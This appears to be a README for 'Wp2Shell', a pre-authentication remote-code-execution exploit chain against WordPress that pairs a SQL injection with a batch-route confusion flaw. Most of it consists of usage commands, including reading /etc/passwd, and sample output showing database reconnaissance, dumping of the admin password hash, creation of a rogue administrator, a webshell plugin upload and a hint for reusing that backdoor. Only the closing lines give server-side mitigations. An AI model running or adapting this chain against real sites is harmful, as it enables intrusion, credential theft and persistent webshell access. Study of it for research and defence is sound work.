git clone https://github.com/YOUR_USERNAME/Wp2Shell.git
cd Wp2Shell

python3 exploit.py --url http://TARGET --command "id"

python3 exploit.py --url http://TARGET --command "uname -a"

python3 exploit.py --url http://TARGET --command "cat /etc/passwd"

python3 exploit.py --url https://TARGET --command "id" --insecure

python3 exploit.py \
  --url                  http://TARGET \
  --command              "whoami" \
  --admin-user           wp2_poc_da4d1cf83acb \
  --admin-password       "Wp2!J47LBKLEbu4ebAJo" \
  --prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php

usage: exploit.py [-h] [--url URL] [--command CMD] [--insecure]
                  [--admin-user USER] [--admin-password PASS]
                  [--prev-webshell-plugin PATH]

+======================================================================+
|         wp2shell -- Pre-Auth RCE PoC (Educational / Research)        |
|   CVE-2026-60137 (SQLi)  +  CVE-2026-63030 (Batch Route Confusion)  |
+======================================================================+
  Target :  http://localhost:8080
  Command:  uname -a
  Mode   :  FULL CHAIN

[STEP 1] Verifying batch endpoint + route-confusion desync
  [+] Batch endpoint reachable (HTTP 207)
  [+] Route-confusion desync confirmed (markers: block_cannot_read, parse_path_failed, rest_batch_not_allowed)

[STEP 2] UNION SQLi -- database reconnaissance
  [+] Database version  : 10.11.18-MariaDB-ubu2204
  [+] Database user     : wpuser@%
  [+] Database name     : wordpress
  [+] Table prefix      : wp_
  [+] Admin login       : admin
  [+] Admin hash (phpass) : $wp$2y$10$BSAr2Yyk/...
  [+] Admin user ID     : 1

[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
  [*] Seeding oEmbed cache with 3 loopback URLs...
  [+] oEmbed cache IDs: [96, 97, 98]
  [*] Submitting changeset poison + user creation...
  [+] Admin created -- username: wp2_poc_da4d1cf83acb  password: Wp2!J47LBKLEbu4ebAJo

[STEP 4] Authenticating + deploying webshell -- running: uname -a
  [*] Logging in to wp-admin...
  [+] Logged in as administrator
  [*] Uploading webshell plugin (slug: wp2shell_6c6f62a8)...
  [+] Plugin uploaded
  [*] Activating plugin...
  [+] Plugin activated
  [*] Executing: uname -a

============================================================
  COMMAND OUTPUT  --  uname -a
============================================================
Linux target 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
============================================================

  [+] RCE confirmed -- Pre-Auth exploit chain complete

  +-- RE-USE HINT ------------------------------------------+
  |  Skip the full chain next time -- pass these flags:      |
  +-----------------------------------------------------------+

  python3 exploit.py \
    --url                  http://localhost:8080 \
    --command              'YOUR_COMMAND' \
    --admin-user           wp2_poc_da4d1cf83acb \
    --admin-password       'Wp2!J47LBKLEbu4ebAJo' \
    --prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php

# Nginx
location ~* "^/wp-json/batch" { return 403; }
location ~* "rest_route=/batch" { return 403; }

# Apache
RewriteRule ^wp-json/batch - [F,L]
RewriteCond %{QUERY_STRING} rest_route=/batch [NC]
RewriteRule ^ - [F,L]

<?php
// wp-content/mu-plugins/disable-batch.php
add_filter( 'rest_batch_enabled', '__return_false' );